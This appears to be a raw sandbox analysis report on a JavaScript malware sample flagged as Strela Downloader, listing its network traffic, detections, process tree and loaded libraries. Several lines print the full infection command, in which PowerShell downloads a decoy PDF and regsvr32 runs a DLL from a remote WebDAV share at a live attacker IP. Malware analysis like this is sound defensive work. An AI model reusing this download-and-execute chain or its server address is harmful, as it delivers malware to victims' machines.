Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: global traffic

TCP traffic: 192.168.2.8:49707 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49706 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1422434790.0000020BAB118000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.
Source: wscript.exe, 00000000.00000003.1420708249.0000020BAB140000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1490200410.00000276D5A1A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1490200410.00000276D5A42000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1490200410.00000276D59E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1490200410.00000276D5A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/O
Source: net.exe, 00000007.00000002.1490200410.00000276D59E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/P
Source: net.exe, 00000007.00000002.1490200410.00000276D59E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/s
Source: svchost.exe, 00000009.00000002.2719683553.0000022424C14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1499236888.0000022424990000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7868, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 36522792260104347.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7476

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7968:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a1ltxje1.wfo.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\36522792260104347.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2284 --field-trial-handle=1528,i,6355012401888127989,11459983525972699434,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2284 --field-trial-handle=1528,i,6355012401888127989,11459983525972699434,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
